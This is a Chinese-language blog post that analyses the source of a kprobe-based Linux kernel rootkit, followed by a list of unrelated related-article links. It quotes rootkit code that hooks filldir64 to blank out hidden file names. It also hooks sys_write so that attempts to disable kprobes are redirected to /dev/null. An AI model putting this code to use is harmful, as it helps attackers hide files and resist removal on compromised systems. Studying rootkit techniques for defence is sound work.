linux kprobe rootkit 简介
介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3"test1","test2","test3"
};
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
//n_kallsyms_lookup_name这个函数好像找不到,一般用kallsyms_lookup_name这个函数
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp);register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp =
{.entry = (kprobe_opcode_t *)j_sys_write
};static struct jprobe filldir64_jp =
{.entry = (kprobe_opcode_t *)j_filldir64
};static struct kretprobe filldir64_kp =
{.handler = filldir64_ret_handler,.maxactive = NR_CPUS
};static struct kretprobe syswrite_kp =
{.handler = sys_write_ret_handler,.maxactive = NR_CPUS
};
先看filldir64的两个函数
j_filldir64是jprobe的函数,在filldir64之前执行,
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = 0; i < HIDDEN_FILES_MAX; i++)if (strcmp(hidden_files[i], name) == 0)found_hidden_file++;if (!found_hidden_file)goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录,g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{char *ptr, null = 0;/* Someone is looking at one of our hidden files */if (g_dentry.bypass){/* Lets nullify the filename so it simply is invisible */ptr = (char *)g_dentry.d_name_ptr;copy_to_user((char *)ptr, &null, sizeof(char));}
}
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current);printk("comm: %s\n", comm);if (strcmp(comm, "ls")) goto do_inode_check;else /* check to see if this is an ls stat complaint, or ls -l weirdness *//* There are two separate calls to sys_write hence two strstr checks */if (strstr(s, "cannot access") || strstr(s, "ls:")) {printk("Going to redirect\n");goto redirect; }
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构file = fget(fd);if (!file)goto out;dentry = dget(file->f_path.dentry);if (!dentry)goto out;ino = dentry->d_inode->i_ino;dput(dentry);fput(file);/* If someone tries to disable kprobes or tries to see our probes *//* in /sys/kernel/debug/kprobes, it aint happening *///enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值if (ino == enabled_ino){printk("ino: %u\n", ino); goto redirect;}elsegoto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffffmm_segment_t o_fs = get_fs();set_fs(KERNEL_DS);_sys_close(fd);fd = _sys_open(devnull, O_RDWR, 0);set_fs(o_fs);global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。
linux kprobe rootkit 简介相关推荐
- linux wc 命令简介
此wc命令不是让大家没有食欲的地方.而是linux下一个简单的小命令. NAME wc - word, line, character, and byte count SYNOPSIS wc [-cl ...
- Kali Linux 安全渗透教程第二更Linux安全渗透简介
第1章 Linux安全渗透简介 渗透测试是对用户信息安全措施积极评估的过程.通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如设计缺陷.技术缺陷.本章将简要介绍Linux安全渗透及 ...
- 资料收集新一代 Linux 文件系统 btrfs 简介
来自: http://www.ibm.com/developerworks/cn/linux/l-cn-btrfs/ Btrfs 简介 文件系统似乎是内核中比较稳定的部分,多年来,人们一直使用 ext ...
- 面向dba的linux shell 脚本简介,面向 DBA 的 Linux Shell 脚本简介
DBA:Linux 面向 DBA 的 Linux Shell 脚本简介 作者:CasimirSaternos 学习一些在 Linux 上安装.运行和维护 Oracle 数据库所需的基本 bash sh ...
- Linux Namespace机制简介
最近Docker技术越来越受到关注,作为Docker中很重要的一项技术,Namespace也就经常在Docker的简介里面看到. 在这里总结一下它的内部机制.也解决一下自己原来的一些疑惑. Names ...
- 使用rkhunter检测Linux的rootkit
转载来源 :使用rkhunter检测Linux的rootkit : https://www.jianshu.com/p/9a5fcd4b236b 介绍 rootkit是Linux平台下最常见的一种木马 ...
- [转] Windows完成端口与Linux epoll技术简介
Windows完成端口与Linux epoll技术简介 2008-01-03 16:18 WINDOWS完成端口编程1.基本概念 2.WINDOWS完成端口的特点 3.完成端口(Completion ...
- Linux安全原理简介
Linux安全原理简介 介绍 在设置Linux计算机的所有阶段,安全性应是首要考虑之一.要在计算机上实施良好的安全策略,需要对Linux的基础知识以及所使用的某些应用程序和协议有充分的了解. Linu ...
- linux 网络安全工具,常用的Linux网络安全工具简介
常用的Linux网络安全工具简介 互联网 发布时间:2008-10-08 22:12:04 作者:佚名 我要评论 常用的Linux网络安全工具简介 尽管各种版本的Linux distrib ...
最新文章
- linux i2c ioctl错误,关于读写I2C总线的时候出错的有关问题
- arcgis api for flex 开发入门(二)map 的创建
- java akiba,java使用jeids实现redis2.6的脚本执行
- Python:利用collections库实现统计单个字或单个字母的频率统计并进行降序输出、统计一个列表内重复元素并以字典形式输出
- 第一次二刷的电影:工作细胞
- 键盘流的逆袭- Idea 中使用 VIM mode 提高生成效率
- 【Kaggle微课程】Natural Language Processing - 3. Word Vectors
- SLAM Cartographer(15)位姿图
- 2021-07-05 操作系统实操相关知识点笔记--中断、异常的响应和处理
- android spi串口调试,PIC入门3,SPI通信和串口调试实验
- mysql创建数据库命令
- Cisco IOS 命名规则(整理版)
- 不可忽视的IT运维管理
- 管理感悟:承认错误,善于总结
- 区块链重要基础知识2——哈希函数的原理以及应用于区块头部
- [NLP]——BPE、WordPiece、Unigram and SentencePiece
- 两周自制编程语言读书总结
- java制作超炫流星雨表白,python星空浪漫表白源码
- 积木报表JimuReport支持的15种数据库类型介绍
- 今日头条开通,分享我爱的数码科技
热门文章
- pythonpandas读取csv和另外一个csv进行比较_Python Pandas:比较一个列中类似值的两个csv(dataframe)的行,并返回相似的行(列)的内容...
- Cloudify — 系统架构
- 互联网协议 — TLS — SNI
- Go 语言编程 — net/http — 支持 HTTPS
- 用 C 语言开发一门编程语言 — 基于 Lambda 表达式的函数设计
- Libvirt 版本降级过程记录 4.5.0 to 3.9.0
- nosql ( redis 跟 memcache )的区别
- java接口关于interface关键字
- 通过Zabbix全面监控NetScaler负载均衡设备
- SqlBulkCopy与触发器,批量插入表(存在则更新,不存在则插入)